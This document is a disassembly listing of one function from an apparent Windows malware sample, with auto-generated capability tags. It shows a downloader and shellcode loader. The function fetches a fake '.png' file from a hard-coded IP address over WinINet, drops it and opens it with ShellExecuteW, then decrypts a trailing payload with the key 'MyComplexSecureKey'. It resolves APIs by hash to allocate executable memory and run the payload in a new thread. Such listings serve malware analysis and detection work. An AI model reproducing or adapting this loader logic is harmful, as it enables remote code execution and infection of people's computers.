Function at 0x1400bd728
Capabilities:
Create http request
Create process on windows
Read data from internet
Receive data

Disassembly:
jmp 0x1400d2f90
push rbp
push rsi
push rdi
mov eax, 0x21b0
call fcn.1400baf37
sub rsp, rax
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x6d4
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140292078]
xor rax, rbp
mov qword [rbp + 0x2140], rax
lea rcx, [0x1402ae0f7]
call fcn.1400bf2f8
call fcn.1400ba1ae
call fcn.1400ba3c5
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.http_connect
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x28]
lea rcx, str.http:__124.220.235.65_1.png
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1c
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rbp + 0x68], rax
lea rax, [rbp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x1926
rep stosb byte [rdi], al
mov dword [rbp + 0x19d4], 0
lea r9, [rbp + 0x19d4]
mov r8d, 0x1926
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r8d, 0x1926
lea rdx, [rbp + 0x90]
lea rcx, str.._2.png
call fcn.1400be69b
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.2.png
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [rbp + 0x19d4]
sub eax, 0x37d
mov dword [rbp + 0x19f4], eax
mov ecx, 0x37d
call fcn.1400bc41d
mov qword [rbp + 0x2128], rax
cmp qword [rbp + 0x2128], 0
je 0x1400d3111
mov rax, qword [rbp + 0x2128]
mov rdi, qword [rbp + 0x2128]
xor eax, eax
mov ecx, 0x37d
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x2128]
mov qword [rbp + 0x2138], rax
jmp 0x1400d311c
mov qword [rbp + 0x2138], 0
mov rax, qword [rbp + 0x2138]
mov qword [rbp + 0x1a18], rax
mov eax, dword [rbp + 0x19f4]
lea rax, [rbp + rax + 0x90]
mov r8d, 0x37d
mov rdx, rax
mov rcx, qword [rbp + 0x1a18]
call fcn.1400bc7fb
lea rax, [rbp + 0x1a38]
lea rcx, str.MyComplexSecureKey
mov rdi, rax
mov rsi, rcx
mov ecx, 0x13
rep movsb byte [rdi], byte [rsi]
mov dword [rbp + 0x1a64], 0x37d
lea r8, [rbp + 0x1a38]
mov edx, dword [rbp + 0x1a64]
mov rcx, qword [rbp + 0x1a18]
call fcn.1400bc36e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp + 0x1aa8], rax
mov ecx, 0x9cb80579
call fcn.1400ba983
movzx ecx, ax
call fcn.1400bde53
mov qword [rbp + 0x1ac8], 0
mov qword [rbp + 0x1ae8], 8
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
lea r8, [rbp + 0x1ae8]
lea rdx, [rbp + 0x1ac8]
mov rcx, qword [rbp + 0x1aa8]
call fcn.1400bc71a
mov qword [rsp + 0x20], 0
mov r9d, 0x37d
mov r8, qword [rbp + 0x1a18]
mov rdx, qword [rbp + 0x1ac8]
mov rcx, qword [rbp + 0x1aa8]
call qword [0x140294888]
mov dword [rbp + 0x1b04], eax
mov ecx, 0x93ec9d3d
call fcn.1400ba983
movzx ecx, ax
call fcn.1400bde53
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rbp + 0x1ac8]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x1aa8]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0x1a88]
call fcn.1400bc71a
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x1a88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x60]
lea rdx, [0x140244eb0]
call fcn.1400be475
mov eax, edi
mov rcx, qword [rbp + 0x2140]
xor rcx, rbp
call fcn.1400bc7dd
lea rsp, [rbp + 0x2150]
pop rdi
pop rsi
pop rbp
ret